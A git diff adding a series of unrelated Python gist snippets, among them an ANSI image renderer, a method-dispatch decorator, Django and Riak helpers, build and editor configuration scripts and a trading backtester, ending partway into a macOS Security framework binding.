+    #         math.pow((c2[1] - c1[1]) * 0.49, 2) +
+    #         math.pow((c2[2] - c1[2]) * 0.21, 2))
+
+
+def convert_image(filename, output_file, fill_char='##'):
+    # render an image as ASCII by converting it to RGBA then using the
+    # color lookup table to find the closest colors, then filling with 
+    # fill_char
+    # TODO: use a set of fill characters and choose among them based on
+    # color value
+    im = Image.open(filename)
+    if im.mode != 'RGBA':
+        im = im.convert('RGBA')
+    # crop the image
+    bg = Image.new(im.mode, im.size, im.getpixel((0,0)))
+    diff = ImageChops.difference(im, bg)
+    diff = ImageChops.add(diff, diff, 2.0, -100)
+    bbox = diff.getbbox()
+    if bbox:
+        im = im.crop(bbox)
+    w = im.size[0]
+    o = ''
+    last_color = None
+    for i, p in enumerate(im.getdata()):
+        if i % w == 0:
+            o += '\n'
+        if im.mode == 'RGBA' and p[3] == 0:
+            o += ' ' * len(fill_char)
+        else:
+            c = closest_ansi_color(p)
+            if last_color != c:
+                o += c
+                last_color = c
+            o += fill_char
+    o += ANSI_RESET + '\n\n'
+    if output_file is not sys.stdout:
+        output_file = open(output_file, 'w')
+    output_file.write(o)
+    output_file.close()
+
+
+if __name__ == '__main__':
+    parser = argparse.ArgumentParser()
+    parser.add_argument('filename', help='File to convert to ASCII art')
+    parser.add_argument('-o', '--output_file', nargs='?', default=sys.stdout,
+                        help='Path to the output file, defaults to stdout')
+    parser.add_argument('-f', '--fill_char', nargs='?', default='##',
+                        help='Character to use for solid pixels in the image')
+    args = parser.parse_args()
+    convert_image(args.filename, args.output_file, fill_char=args.fill_char)
diff --git a/hard-gists/9218f99ba35da225ca11/._snippet.py b/hard-gists/9218f99ba35da225ca11/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/9218f99ba35da225ca11/._snippet.py differ
diff --git a/hard-gists/9218f99ba35da225ca11/snippet.py b/hard-gists/9218f99ba35da225ca11/snippet.py
new file mode 100644
index 00000000..e322e430
--- /dev/null
+++ b/hard-gists/9218f99ba35da225ca11/snippet.py
@@ -0,0 +1,134 @@
+# This is free and unencumbered software released into the public domain.
+# 
+# Anyone is free to copy, modify, publish, use, compile, sell, or
+# distribute this software, either in source code form or as a compiled
+# binary, for any purpose, commercial or non-commercial, and by any
+# means.
+#
+# In jurisdictions that recognize copyright laws, the author or authors
+# of this software dedicate any and all copyright interest in the
+# software to the public domain. We make this dedication for the benefit
+# of the public at large and to the detriment of our heirs and
+# successors. We intend this dedication to be an overt act of
+# relinquishment in perpetuity of all present and future rights to this
+# software under copyright law.
+#
+# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
+# EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
+# MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.
+# IN NO EVENT SHALL THE AUTHORS BE LIABLE FOR ANY CLAIM, DAMAGES OR
+# OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE,
+# ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR
+# OTHER DEALINGS IN THE SOFTWARE.
+#
+# For more information, please refer to <http://unlicense.org/>
+from collections import namedtuple
+from functools import singledispatch, update_wrapper
+
+A = namedtuple('A', ['x'])
+B = namedtuple('B', ['y'])
+C = namedtuple('C', ['z'])
+
+def dispatchmethod(func):
+    """
+    This provides for a way to use ``functools.singledispatch`` inside of a class. It has the same
+    basic interface that ``singledispatch`` does:
+    
+    >>> class A:
+    ...     @dispatchmethod
+    ...     def handle_message(self, message):
+    ...         # Fallback code...
+    ...         pass
+    ...     @handle_message.register(int)
+    ...     def _(self, message):
+    ...         # Special int handling code...
+    ...         pass
+    ...
+    >>> a = A()
+    >>> a.handle_message(42)
+    # Runs "Special int handling code..."
+    
+    Note that using ``singledispatch`` in these cases is impossible, since it tries to dispatch
+    on the ``self`` argument, not the ``message`` argument. This is technically a double
+    dispatch, since both the type of ``self`` and the type of the second argument are used to
+    determine what function to call - for example:
+    
+    >>> class A:
+    ...     @dispatchmethod
+    ...     def handle_message(self, message):
+    ...         print('A other', message)
+    ...         pass
+    ...     @handle_message.register(int)
+    ...     def _(self, message):
+    ...         print('A int', message)
+    ...         pass
+    ...
+    >>> class B:
+    ...     @dispatchmethod
+    ...     def handle_message(self, message):
+    ...         print('B other', message)
+    ...         pass
+    ...     @handle_message.register(int)
+    ...     def _(self, message):
+    ...         print('B int', message)
+    ...
+    >>> def do_stuff(A_or_B):
+    ...     A_or_B.handle_message(42)
+    ...     A_or_B.handle_message('not an int')
+    
+    On one hand, either the ``dispatchmethod`` defined in ``A`` or ``B`` is used depending
+    upon what object one passes to ``do_stuff()``, but on the other hand, ``do_stuff()``
+    causes different versions of the dispatchmethod (found in either ``A`` or ``B``) 
+    to be called (both the fallback and the ``int`` versions are implicitly called).
+    
+    Note that this should be fully compatable with ``singledispatch`` in any other respects
+    (that is, it exposes the same attributes and methods).
+    """
+    dispatcher = singledispatch(func)
+
+    def register(type, func=None):
+        if func is not None:
+            return dispatcher.register(type, func)
+        else:
+            def _register(func):
+                return dispatcher.register(type)(func)
+            
+            return _register
+
+    def dispatch(type):
+        return dispatcher.dispatch(type)
+
+    def wrapper(inst, dispatch_data, *args, **kwargs):
+        cls = type(dispatch_data)
+        impl = dispatch(cls)
+        return impl(inst, dispatch_data, *args, **kwargs)
+
+    wrapper.register = register
+    wrapper.dispatch = dispatch
+    wrapper.registry = dispatcher.registry
+    wrapper._clear_cache = dispatcher._clear_cache
+    update_wrapper(wrapper, func)
+    return wrapper
+
+class Foo:
+    @dispatchmethod
+    def handle_message(self, message):
+        print('Unknown message:', message)
+
+    @handle_message.register(A)
+    def _(self, message):
+        print('A:', message.x)
+
+    @handle_message.register(B)
+    def _(self, message):
+        print('B:', message.y)
+
+    @handle_message.register(C)
+    def _(self, message):
+        print('C:', message.z)
+
+x = Foo()
+x.handle_message(12)
+x.handle_message(A('a'))
+x.handle_message(B('b'))
+x.handle_message(C('c'))
\ No newline at end of file
diff --git a/hard-gists/9220847/._snippet.py b/hard-gists/9220847/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/9220847/._snippet.py differ
diff --git a/hard-gists/9220847/snippet.py b/hard-gists/9220847/snippet.py
new file mode 100644
index 00000000..96cbf57e
--- /dev/null
+++ b/hard-gists/9220847/snippet.py
@@ -0,0 +1,44 @@
+#!/usr/bin/python
+"""
+These commands can be run from the src/script directory, which makes remote_gae availble.
+ 
+Important: Please use the Remote API with extreme caution, since it affects our production servers and Datastore.
+Changes made to the production Datastore are often irreparable.
+ 
+References:
+ * https://developers.google.com/appengine/articles/remote_api
+ * https://developers.google.com/appengine/docs/python/tools/remoteapi
+"""
+import datetime
+ 
+import remote_gae
+remote_gae.fix_path()  # Add src/www to sys.path and setup env.
+from google.appengine.ext import ndb
+
+from models import experiments
+ 
+# Connect to production server
+remote_gae.configure_gae_with_defaults(local_gae=False)
+# Disable caching to ensure fresh results.
+ctx = ndb.get_context()
+ctx.set_cache_policy(False)
+ctx.set_memcache_policy(False)
+# Datetime for "recent" models. Datastore uses naive UTC datetimes.
+since = datetime.datetime.utcnow() - datetime.timedelta(days=5)
+query = experiments.Experiment.query().filter(experiments.Experiment.last_modified > since)
+
+def fetch_all(query, limit=100):
+  results = []
+  start_dt = datetime.datetime.now()
+  # Fetch all entities in batches.
+  entities, cursor, more = query.fetch_page(limit)
+  while more:
+    results.extend(entities)
+    entities, cursor, more = query.fetch_page(limit, start_cursor=cursor)
+    print len(results), 'entities at', datetime.datetime.now()  # Progress and time tracker.
+  results.extend(entities)
+  print len(results), 'total entities fetched in', (datetime.datetime.now() - start_dt).seconds, 'seconds'  # Progress and time tracker.
+  return results
+
+recent = fetch_all(query)
+print len(recent)
\ No newline at end of file
diff --git a/hard-gists/9228580/._snippet.py b/hard-gists/9228580/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/9228580/._snippet.py differ
diff --git a/hard-gists/9228580/snippet.py b/hard-gists/9228580/snippet.py
new file mode 100644
index 00000000..cc370bdd
--- /dev/null
+++ b/hard-gists/9228580/snippet.py
@@ -0,0 +1,51 @@
+"""Utility to clear our unused Django CMS placeholder data from database"""
+
+# Nick Snell <n@nicksnell.com>
+
+# WARNING; IS A DISTRUCTIVE OPERATION (Obviously.)
+
+from django.template import TemplateDoesNotExist
+from cms.models.pagemodel import Page
+from cms.utils.plugins import get_placeholders
+
+
+def seek_and_destroy(dryrun=False, debug=True):
+	"""Find the page placeholders not longer in use and remove them. This is
+	useful in situations where you change templates wholesale (v1 -> v2 etc)
+	and need to clear out the chaff from the database"""
+
+	# Go though each page, look at the placeholders in the page
+	# template and compare to what it currently has.
+	for page in Page.objects.all():
+		try:
+			template_placeholders = get_placeholders(page.get_template())
+		except TemplateDoesNotExist:
+			if debug:
+				print '** "%s" has template "%s" which could not be found **' % (
+					page.get_title(),
+					page.template,
+				)
+
+			continue
+
+		if debug:
+			print '"%s" has %s placeholder(s):' % (
+				page.get_title(),
+				len(template_placeholders)
+			)
+
+		for placeholder in page.placeholders.all():
+			if not placeholder.slot in template_placeholders:
+				if debug:
+					print '   "%s" has "%s" placeholder slot which is no longer in use' % (
+						page.get_title(),
+						placeholder.slot
+					)
+
+				# This placeholder is not welcome here.
+				if not dryrun:
+					page.placeholders.remove(placeholder)
+
+
+if __name__ == '__main__':
+	seek_and_destroy(dryrun=True)
diff --git a/hard-gists/922973/._snippet.py b/hard-gists/922973/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/922973/._snippet.py differ
diff --git a/hard-gists/922973/snippet.py b/hard-gists/922973/snippet.py
new file mode 100644
index 00000000..5c722601
--- /dev/null
+++ b/hard-gists/922973/snippet.py
@@ -0,0 +1,114 @@
+from riak import RiakError
+
+class Bucket(object):
+  """Wrap up retries and conflict resolution"""
+  def __init__(self, client, name, resolve, retries=5):
+    self.client = client
+    self.name = name
+    self.bucket = client.bucket(name)  # base bucket
+    self.resolve = resolve
+    self.retries = retries
+    
+  def get(self, key):
+    """Get resolved key"""
+    tries = self.retries
+    while tries:
+      try:
+        obj = self.bucket.get(key)
+        if not obj.has_siblings():
+          return obj.get_data()
+        resolved_data = self.resolve([s.get_data() for s in obj.get_siblings()])
+        first_obj = obj.get_sibling(0)  # magically sets the right vclock
+        first_obj.set_data(resolved_data)
+        first_obj.store()
+        return first_obj.get_data()
+      except RiakError, e:
+        pass
+      tries -= 1
+    raise e
+
+  def modify(self, key, modify_data):
+    """Modify key"""
+    tries = self.retries
+    while tries:
+      try:
+        obj = self.bucket.get(key)
+        data = None
+        if not obj.has_siblings():
+          data = obj.get_data()
+        else:
+          print obj.get_sibling_count(), obj.vclock()
+          raise Exception()
+          data = self.resolve([s.get_data() for s in obj.get_siblings()])
+        first_obj = obj.has_siblings() and obj.get_sibling(0) or obj
+        first_obj.set_data(modify_data(data))
+        first_obj.store()
+        return first_obj.get_data()
+        return True
+      except RiakError, e:
+        pass
+      tries -= 1
+    raise e
+
+# semi-useless example
+def resolve_random(siblings):
+  """Super simple resolver, pick a random one!"""
+  return random.sample(siblings, 1)[0]
+
+# semi-useful example of a naive 1:30am increment only distributed counter
+def count_resolve(siblings):
+  """collapse sibling steps into one"""
+  first = siblings.pop()
+  for s in siblings:
+    if s is not None:  # ?
+      # all siblings ought to have the same 'last'
+      # assert first['last'] == s['last']
+      first['step'] += s['step']
+  return first
+
+def count_modify(incr=1):
+  """collapse previous state into last, add current increment as step"""
+  def _mod(prev):
+    if prev is None:
+      prev = {'last': 0, 'step': 0}
+    return {'last': prev['last'] + prev['step'], 'step': incr}
+  return _mod
+
+def main():
+  import riak
+
+  client = riak.RiakClient(port=8091)
+  old_bucket = client.bucket('counters')
+  old_bucket.set_allow_multiples(True)
+  obj = old_bucket.get('foo')
+  obj.delete()
+  obj.reload()
+  assert obj.get_data() is None
+  assert obj.exists() == False
+
+  bucket = Bucket(client, 'counters', count_resolve, retries=5)
+  assert bucket.get('foo') is None
+  assert bucket.modify('foo', count_modify(1)) == {'step': 1, 'last': 0}
+  assert bucket.get('foo') == {'step': 1, 'last': 0}
+
+  # create a bunch of siblings
+  obj1 = riak.RiakClient(port=8091).bucket('counters').get('foo')
+  obj2 = riak.RiakClient(port=8091).bucket('counters').get('foo')
+  obj3 = riak.RiakClient(port=8091).bucket('counters').get('foo')
+
+  obj1.set_data({'last': 1, 'step': 1}).store()   # +1
+  obj2.set_data({'last': 1, 'step': 99}).store()  # +99
+  obj3.set_data({'last': 1, 'step': 7}).store()   # +7
+
+  obj.reload()
+  assert obj.has_siblings()
+  assert obj.get_sibling_count() == 3
+
+  assert bucket.get('foo') == {'step': 107, 'last': 1}
+
+  obj5 = riak.RiakClient(port=8091).bucket('counters').get('foo')
+  assert obj5.has_siblings() == False
+  assert obj5.get_data() == {'step': 107, 'last': 1}
+
+if __name__ == '__main__':
+  main()
diff --git a/hard-gists/925008/._snippet.py b/hard-gists/925008/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/925008/._snippet.py differ
diff --git a/hard-gists/925008/snippet.py b/hard-gists/925008/snippet.py
new file mode 100644
index 00000000..a5c8a5fe
--- /dev/null
+++ b/hard-gists/925008/snippet.py
@@ -0,0 +1,29 @@
+import sublime, sublime_plugin
+import os
+
+class DetectFileTypeCommand(sublime_plugin.EventListener):
+  """ Detects current file type if the file's extension isn't conclusive """
+  """ Modified for Ruby on Rails and Sublime Text 2 """
+  """ Original pastie here: http://pastie.org/private/kz8gtts0cjcvkec0d4quqa """
+
+  def on_load(self, view):
+    filename = view.file_name()
+    if not filename: # buffer has never been saved
+      return
+
+    name = os.path.basename(filename.lower())
+    if name[-8:] == "_spec.rb":
+      set_syntax(view, "Rspec", "User/rspec")
+    elif name == "factories.rb":
+      set_syntax(view, "Rspec", "User/rspec")
+    elif name == "gemfile":
+      set_syntax(view, "Ruby on Rails", "Rails")
+    elif name[-2:] == "rb":
+      set_syntax(view, "Ruby on Rails", "Rails")
+
+
+def set_syntax(view, syntax, path=None):
+  if path is None:
+    path = syntax
+  view.settings().set('syntax', 'Packages/'+ path + '/' + syntax + '.tmLanguage')
+  print "Switched syntax to: " + syntax
\ No newline at end of file
diff --git a/hard-gists/925270/._snippet.py b/hard-gists/925270/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/925270/._snippet.py differ
diff --git a/hard-gists/925270/snippet.py b/hard-gists/925270/snippet.py
new file mode 100644
index 00000000..476dc6f0
--- /dev/null
+++ b/hard-gists/925270/snippet.py
@@ -0,0 +1,14 @@
+from django.core.handlers.base import BaseHandler  
+from django.test.client import RequestFactory  
+  
+class RequestMock(RequestFactory):  
+    def request(self, **request):  
+        "Construct a generic request object."  
+        request = RequestFactory.request(self, **request)  
+        handler = BaseHandler()  
+        handler.load_middleware()  
+        for middleware_method in handler._request_middleware:  
+            if middleware_method(request):  
+                raise Exception("Couldn't create request mock object - "  
+                                "request middleware returned a response")  
+        return request 
\ No newline at end of file
diff --git a/hard-gists/9258971/._snippet.py b/hard-gists/9258971/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/9258971/._snippet.py differ
diff --git a/hard-gists/9258971/snippet.py b/hard-gists/9258971/snippet.py
new file mode 100644
index 00000000..c6a13114
--- /dev/null
+++ b/hard-gists/9258971/snippet.py
@@ -0,0 +1,19 @@
+# import signals and slugify
+from django.db.models import signals
+from django.template.defaultfilters import slugify
+
+
+# function for use in pre_save
+def yourmodel_pre_save(signal, instance, sender, **kwargs):
+    if not instance.slug:
+        slug = slugify(instance.attribute)  # change the attibute to the field that would be used as a slug
+        new_slug = slug
+        count = 0
+        while YourModel.objects.filter(slug=new_slug).exclude(id=instance.id).count() > 0:
+            count += 1
+            new_slug = '{slug}-{count}'.format(slug=slug, count=count)
+        
+        instance.slug = new_slug
+
+# Execute signals pre_save
+signals.pre_save.connect(your_model_pre_save, sender=YourModel)
diff --git a/hard-gists/9270848/._snippet.py b/hard-gists/9270848/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/9270848/._snippet.py differ
diff --git a/hard-gists/9270848/snippet.py b/hard-gists/9270848/snippet.py
new file mode 100644
index 00000000..a07b8bab
--- /dev/null
+++ b/hard-gists/9270848/snippet.py
@@ -0,0 +1,92 @@
+import json
+import os
+from sh import karma
+from sh import uglifyjs
+from sh import jshint
+
+top = '.'
+out = 'build'
+
+def options(ctx):
+  ctx.load('pebble_sdk')
+
+def configure(ctx):
+  ctx.load('pebble_sdk')
+
+def distclean(ctx):
+  ctx.load('pebble_sdk')
+  try:
+    os.remove('../src/js/pebble-js-app.js')
+    os.remove('../src/js/src/appinfo.js')
+    os.remove('../src/generated/appinfo.h')
+  except OSError as e:
+    pass
+
+def build(ctx):
+  ctx.load('pebble_sdk')
+
+  js_sources = [
+    '../src/js/src/lib/http.js',
+    '../src/js/src/lib/pebble-ga.js',
+    '../src/js/src/appinfo.js',
+    '../src/js/src/main.js'
+  ]
+  built_js = '../src/js/pebble-js-app.js'
+
+  # Generate appinfo.js
+  ctx(rule=generate_appinfo_js, source='../appinfo.json', target='../src/js/src/appinfo.js')
+
+  # Generate appinfo.h
+  ctx(rule=generate_appinfo_c, source='../appinfo.json', target='../src/generated/appinfo.h')
+
+  # Run jshint on all the JavaScript files
+  ctx(rule=js_jshint, source=js_sources)
+
+  # Run the suite of JS tests.
+  ctx(rule=js_karma)
+
+  # Combine the source JS files into a single JS file.
+  ctx(rule=concatenate_js, source=' '.join(js_sources), target=built_js)
+
+  # Build and bundle the Pebble app.
+  ctx.pbl_program(source=ctx.path.ant_glob('src/**/*.c'), target='pebble-app.elf')
+  ctx.pbl_bundle(elf='pebble-app.elf', js=built_js)
+
+def generate_appinfo_c(task):
+  ext_out = '.c'
+  src = task.inputs[0].abspath()
+  target = task.outputs[0].abspath()
+  appinfo = json.load(open(src))
+
+  f = open(target, 'w')
+  f.write('#pragma once\n\n')
+  f.write('#define VERSION_LABEL "{0}"\n'.format(appinfo["versionLabel"]))
+  f.write('#define VERSION_CODE {0}\n'.format(appinfo["versionCode"]))
+  f.write('#define UUID "{0}"\n'.format(appinfo["uuid"]))
+  for key in appinfo['appKeys']:
+    f.write('#define APP_KEY_{0} {1}\n'.format(key.upper(), appinfo['appKeys'][key]))
+  f.close()
+
+def generate_appinfo_js(task):
+  src = task.inputs[0].abspath()
+  target = task.outputs[0].abspath()
+  data = open(src).read().strip()
+
+  f = open(target, 'w')
+  f.write('/* exported AppInfo */\n\n')
+  f.write('var AppInfo = ')
+  f.write(data)
+  f.write(';')
+  f.close()
+
+def concatenate_js(task):
+  inputs = (input.abspath() for input in task.inputs)
+  uglifyjs(*inputs, o=task.outputs[0].abspath())
+
+def js_jshint(task):
+  inputs = (input.abspath() for input in task.inputs)
+  jshint(*inputs, config="../pebble-jshintrc")
+
+def js_karma(task):
+  ext_out = '.js'
+  karma("start", single_run=True, reporters="dots")
\ No newline at end of file
diff --git a/hard-gists/92a2d05dd772778f86f2/._snippet.py b/hard-gists/92a2d05dd772778f86f2/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/92a2d05dd772778f86f2/._snippet.py differ
diff --git a/hard-gists/92a2d05dd772778f86f2/snippet.py b/hard-gists/92a2d05dd772778f86f2/snippet.py
new file mode 100644
index 00000000..3922dfec
--- /dev/null
+++ b/hard-gists/92a2d05dd772778f86f2/snippet.py
@@ -0,0 +1,253 @@
+# -*- coding: utf-8 -*-
+
+##########################################################################
+# YouCompleteMe configuration for ROS                                    #
+# Author: Gaël Ecorchard (2015)                                          #
+#                                                                        #
+# The file requires the definition of the $ROS_WORKSPACE variable in     #
+# your shell.                                                            #
+# Name this file .ycm_extra_conf.py and place it in $ROS_WORKSPACE to    #
+# use it.                                                                #
+#                                                                        #
+# Tested with Ubuntu 14.04 and Indigo.                                   #
+#                                                                        #
+# License: CC0                                                           #
+##########################################################################
+
+import os
+import ycm_core
+
+
+def GetRosIncludePaths():
+    """Return a list of potential include directories
+
+    The directories are looked for in $ROS_WORKSPACE.
+    """
+    try:
+        from rospkg import RosPack
+    except ImportError:
+        return []
+    rospack = RosPack()
+    includes = []
+    includes.append(os.path.expandvars('$ROS_WORKSPACE') + '/devel/include')
+    for p in rospack.list():
+        if os.path.exists(rospack.get_path(p) + '/include'):
+            includes.append(rospack.get_path(p) + '/include')
+    for distribution in os.listdir('/opt/ros'):
+        includes.append('/opt/ros/' + distribution + '/include')
+    return includes
+
+
+def GetRosIncludeFlags():
+    includes = GetRosIncludePaths()
+    flags = []
+    for include in includes:
+        flags.append('-isystem')
+        flags.append(include)
+    return flags
+
+# These are the compilation flags that will be used in case there's no
+# compilation database set (by default, one is not set).
+# CHANGE THIS LIST OF FLAGS. YES, THIS IS THE DROID YOU HAVE BEEN LOOKING FOR.
+# You can get CMake to generate the compilation_commands.json file for you by
+# adding:
+#   set(CMAKE_EXPORT_COMPILE_COMMANDS 1)
+# to your CMakeLists.txt file or by once entering
+#   catkin config --cmake-args '-DCMAKE_EXPORT_COMPILE_COMMANDS=ON'
+# in your shell.
+
+default_flags = [
+    '-Wall',
+    '-Wextra',
+    '-Werror',
+    '-Wc++98-compat',
+    '-Wno-long-long',
+    '-Wno-variadic-macros',
+    '-fexceptions',
+    '-DNDEBUG',
+    # THIS IS IMPORTANT! Without a "-std=<something>" flag, clang won't know
+    # which language to use when compiling headers. So it will guess. Badly. So
+    # C++ headers will be compiled as C headers. You don't want that so ALWAYS
+    # specify a "-std=<something>".
+    # For a C project, you would set this to something like 'c99' instead of
+    # 'c++11'.
+    '-std=c++03',
+    # ...and the same thing goes for the magic -x option which specifies the
+    # language that the files to be compiled are written in. This is mostly
+    # relevant for c++ headers.
+    # For a C project, you would set this to 'c' instead of 'c++'.
+    '-x',
+    'c++',
+    '-I',
+    '.',
+
+    # include third party libraries
+    # '-isystem',
+    # '/some/path/include',
+]
+
+flags = default_flags + GetRosIncludeFlags()
+
+
+def GetCompilationDatabaseFolder(filename):
+    """Return the directory potentially containing compilation_commands.json
+
+    Return the absolute path to the folder (NOT the file!) containing the
+    compile_commands.json file to use that instead of 'flags'. See here for
+    more details: http://clang.llvm.org/docs/JSONCompilationDatabase.html.
+    The compilation_commands.json for the given file is returned by getting
+    the package the file belongs to.
+    """
+    try:
+        import rospkg
+    except ImportError:
+        return ''
+    pkg_name = rospkg.get_package_name(filename)
+    if not pkg_name:
+        return ''
+    dir = (os.path.expandvars('$ROS_WORKSPACE') +
+           os.path.sep +
+           'build' +
+           os.path.sep +
+           pkg_name)
+
+    return dir
+
+
+def GetDatabase(compilation_database_folder):
+    if os.path.exists(compilation_database_folder):
+        return ycm_core.CompilationDatabase(compilation_database_folder)
+    return None
+
+SOURCE_EXTENSIONS = ['.cpp', '.cxx', '.cc', '.c', '.m', '.mm']
+
+
+def DirectoryOfThisScript():
+    return os.path.dirname(os.path.abspath(__file__))
+
+
+def MakeRelativePathsInFlagsAbsolute(flags, working_directory):
+    if not working_directory:
+        return list(flags)
+    new_flags = []
+    make_next_absolute = False
+    path_flags = ['-isystem', '-I', '-iquote', '--sysroot=']
+    for flag in flags:
+        new_flag = flag
+
+        if make_next_absolute:
+            make_next_absolute = False
+            if not flag.startswith('/'):
+                new_flag = os.path.join(working_directory, flag)
+
+        for path_flag in path_flags:
+            if flag == path_flag:
+                make_next_absolute = True
+                break
+
+            if flag.startswith(path_flag):
+                path = flag[len(path_flag):]
+                new_flag = path_flag + os.path.join(working_directory, path)
+                break
+
+        if new_flag:
+            new_flags.append(new_flag)
+    return new_flags
+
+
+def IsHeaderFile(filename):
+    extension = os.path.splitext(filename)[1]
+    return extension in ['.h', '.hxx', '.hpp', '.hh']
+
+
+def GetCompilationInfoForHeaderSameDir(headerfile, database):
+    """Return compile flags for src file with same base in the same directory
+    """
+    filename_no_ext = os.path.splitext(headerfile)[0]
+    for extension in SOURCE_EXTENSIONS:
+        replacement_file = filename_no_ext + extension
+        if os.path.exists(replacement_file):
+            compilation_info = database.GetCompilationInfoForFile(
+                replacement_file)
+            if compilation_info.compiler_flags_:
+                return compilation_info
+    return None
+
+
+def GetCompilationInfoForHeaderRos(headerfile, database):
+    """Return the compile flags for the corresponding src file in ROS
+
+    Return the compile flags for the source file corresponding to the header
+    file in the ROS where the header file is.
+    """
+    try:
+        import rospkg
+    except ImportError:
+        return None
+    pkg_name = rospkg.get_package_name(headerfile)
+    if not pkg_name:
+        return None
+    try:
+        pkg_path = rospkg.RosPack().get_path(pkg_name)
+    except rospkg.ResourceNotFound:
+        return None
+    filename_no_ext = os.path.splitext(headerfile)[0]
+    hdr_basename_no_ext = os.path.basename(filename_no_ext)
+    for path, dirs, files in os.walk(pkg_path):
+        for src_filename in files:
+            src_basename_no_ext = os.path.splitext(src_filename)[0]
+            if hdr_basename_no_ext != src_basename_no_ext:
+                continue
+            for extension in SOURCE_EXTENSIONS:
+                if src_filename.endswith(extension):
+                    compilation_info = database.GetCompilationInfoForFile(
+                        path + os.path.sep + src_filename)
+                    if compilation_info.compiler_flags_:
+                        return compilation_info
+    return None
+
+
+def GetCompilationInfoForFile(filename, database):
+    # The compilation_commands.json file generated by CMake does not have
+    # entries for header files. So we do our best by asking the db for flags
+    # for a corresponding source file, if any. If one exists, the flags for
+    # that file should be good enough.
+    # Corresponding source file are looked for in the same package.
+    if IsHeaderFile(filename):
+        # Look in the same directory.
+        compilation_info = GetCompilationInfoForHeaderSameDir(
+            filename, database)
+        if compilation_info:
+            return compilation_info
+        # Look in the package.
+        compilation_info = GetCompilationInfoForHeaderRos(filename, database)
+        if compilation_info:
+            return compilation_info
+    return database.GetCompilationInfoForFile(filename)
+
+
+def FlagsForFile(filename):
+    database = GetDatabase(GetCompilationDatabaseFolder(filename))
+    if database:
+        # Bear in mind that compilation_info.compiler_flags_ does NOT return a
+        # python list, but a "list-like" StringVec object
+        compilation_info = GetCompilationInfoForFile(filename, database)
+        if not compilation_info:
+            # Return the default flags defined above.
+            return {
+                'flags': flags,
+                'do_cache': True,
+            }
+
+        final_flags = MakeRelativePathsInFlagsAbsolute(
+            compilation_info.compiler_flags_,
+            compilation_info.compiler_working_dir_)
+        final_flags += default_flags
+    else:
+        relative_to = DirectoryOfThisScript()
+        final_flags = MakeRelativePathsInFlagsAbsolute(flags, relative_to)
+
+    return {
+        'flags': final_flags,
+        'do_cache': True
+    }
diff --git a/hard-gists/92e65a8919b11d9310b32b194b09741c/._snippet.py b/hard-gists/92e65a8919b11d9310b32b194b09741c/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/92e65a8919b11d9310b32b194b09741c/._snippet.py differ
diff --git a/hard-gists/92e65a8919b11d9310b32b194b09741c/snippet.py b/hard-gists/92e65a8919b11d9310b32b194b09741c/snippet.py
new file mode 100644
index 00000000..ef71380f
--- /dev/null
+++ b/hard-gists/92e65a8919b11d9310b32b194b09741c/snippet.py
@@ -0,0 +1,56 @@
+#
+# Backtesting Algo Strategies based on 
+# Logistic Regression with scikit-learn
+#
+# Yves Hilpisch
+# ODSC London 2016
+# The Python Quants GmbH
+#
+
+import numpy as np
+import pandas as pd
+import seaborn as sns; sns.set()
+from pandas_datareader import data as web
+from sklearn import linear_model
+
+class ScikitBacktest(object):
+    def __init__(self, sym):
+        self.lags = 5
+        self.symbol = sym
+        self.get_data()
+        self.lm = linear_model.LogisticRegression(C=1e3)
+    def get_data(self):
+        d = web.DataReader(self.symbol, data_source='yahoo')['Adj Close']
+        d = pd.DataFrame(d)
+        d.columns = [self.symbol]
+        d['returns'] = np.log(d / d.shift(1))
+        self.data = d
+    def select_data(self, start, end):
+        d = self.data[(self.data.index >= start) & (self.data.index <= end)].copy()
+        return d
+    def get_matrix(self, start, end):
+        d = self.select_data(start, end)
+        m = np.zeros((self.lags+1, len(d)-self.lags))
+        for i in range(self.lags+1):
+            if i == self.lags:
+                m[i] = d.returns.values[i:]
+            else:
+                m[i] = d.returns.values[i:i-self.lags]
+        self.matrix = m
+    def fit_model(self, start, end):
+        self.get_matrix(start, end)
+        self.lm.fit(self.matrix[:self.lags].T, np.sign(self.matrix[self.lags]))
+    def predict_moves(self, start, end):
+        self.get_matrix(start, end)
+        pred = self.lm.predict(self.matrix[:self.lags].T)
+        return pred
+    def run_strategy(self, start_tr, end_tr, start_te, end_te, lags):
+        self.lags = lags
+        self.fit_model(start_tr, end_tr)
+        pred = self.predict_moves(start_te, end_te)
+        d = self.select_data(start_te, end_te)
+        d['pred'] = 0.0
+        d['pred'].ix[self.lags:] = pred
+        d['strategy'] = d.pred * d.returns
+        title = '%s to %s for %d lags' % (start_te, end_te, self.lags)
+        d[['returns', 'strategy']].ix[self.lags:].cumsum().apply(np.exp).plot(title=title)
\ No newline at end of file
diff --git a/hard-gists/9300560/._snippet.py b/hard-gists/9300560/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/9300560/._snippet.py differ
diff --git a/hard-gists/9300560/snippet.py b/hard-gists/9300560/snippet.py
new file mode 100644
index 00000000..6ac0abfd
--- /dev/null
+++ b/hard-gists/9300560/snippet.py
@@ -0,0 +1,425 @@
+import os.path, base64
+from ctypes import CDLL, Structure, POINTER, byref, addressof, create_string_buffer, c_int, c_uint, c_ubyte, c_void_p, c_size_t
+from CoreFoundation import kCFStringEncodingUTF8
+
+# Wheee!
+Security    = CDLL('/System/Library/Frameworks/Security.Framework/Versions/Current/Security')
